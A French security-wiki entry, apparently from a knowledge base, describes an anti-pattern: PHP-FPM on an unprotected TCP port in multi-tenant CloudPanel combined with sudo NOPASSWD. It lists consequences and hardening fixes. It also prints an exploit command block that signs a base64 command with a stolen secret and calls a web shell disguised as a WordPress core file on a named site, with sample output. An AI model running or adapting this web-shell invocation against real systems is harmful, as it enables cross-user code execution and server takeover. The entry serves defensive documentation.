Parent : [[INDEX-CYBERSECU]]
Anti-Pattern : PHP-FPM FastCGI TCP sans contrôle d'accès et sudo NOPASSWD
Description
Exposer PHP-FPM sur un port TCP (127.0.0.1:8787) sans contrôle d'accès inter-utilisateur dans un environnement multi-tenant (CloudPanel), combiné avec un utilisateur disposant de sudo NOPASSWD. Cela permet à n'importe quel utilisateur du serveur d'exécuter du code PHP en tant que n'importe quel autre utilisateur, et d'escalader vers root via sudo sans mot de passe.
Exemple réel - Archive Ygg
CloudPanel v2.5.2
├── CVE-2024-44765 : Modification des configs vhost nginx
├── FastCGI sur 127.0.0.1:8787 : Pas de contrôle d'accès inter-utilisateur
├── Utilisateur clp : sudo NOPASSWD
└── Exploitation : Depuis le compte ygg, exécution de code PHP en tant que rakaxa
Commande exploit :
# Depuis le compte ygg, exécuter du code en tant que rakaxa
# via FastCGI cross-user
CMD="id"
CMD_B64=$(echo -n "$CMD" | base64)
SECRET=$(cat .wp_shell_secret)
HMAC=$(echo -n "$CMD_B64" | openssl dgst -sha256 -hmac "$SECRET" | awk '{print $2}')
curl -sk https://rakaxa.net/wp-includes/class-wp-cache-validator.php \
-H "X-Elementor-Nonce: $CMD_B64" \
-H "X-Elementor-Cache: $HMAC"
# uid=1004(rakaxa) gid=1005(rakaxa) groups=1005(rakaxa)
Conséquences
- Escalade de privilèges : De ygg à rakaxa à root
- Vol de données : Accès aux bases de données des autres sites
- Compromission totale : Tous les sites hébergés sur le serveur
- RCE : Exécution de code arbitraire en tant que n'importe quel utilisateur
Quand c'est acceptable
JAMAIS en production multi-tenant. Acceptable uniquement en développement local avec un seul utilisateur.
Solution
- PHP-FPM sur sockets UNIX (pas TCP) avec un pool par utilisateur
chrootactivé pour chaque poolopen_basedirconfiguré pour chaque sitedisable_functionsrestreint- AppArmor/SELinux pour isoler PHP-FPM
sudo NOPASSWDsupprimé pour TOUS les utilisateurs- CloudPanel patché (CVE-2024-44765)
Voir KNOW-PAT-077 — CloudPanel v2.5.2 FastCGI cross-user RCE.
Références
- Archive Ygg : Phase 13 — Le serveur web (YGGLeak)
- CVE-2024-44765 : https://cve.mitre.org
- CloudPanel : https://www.cloudpanel.io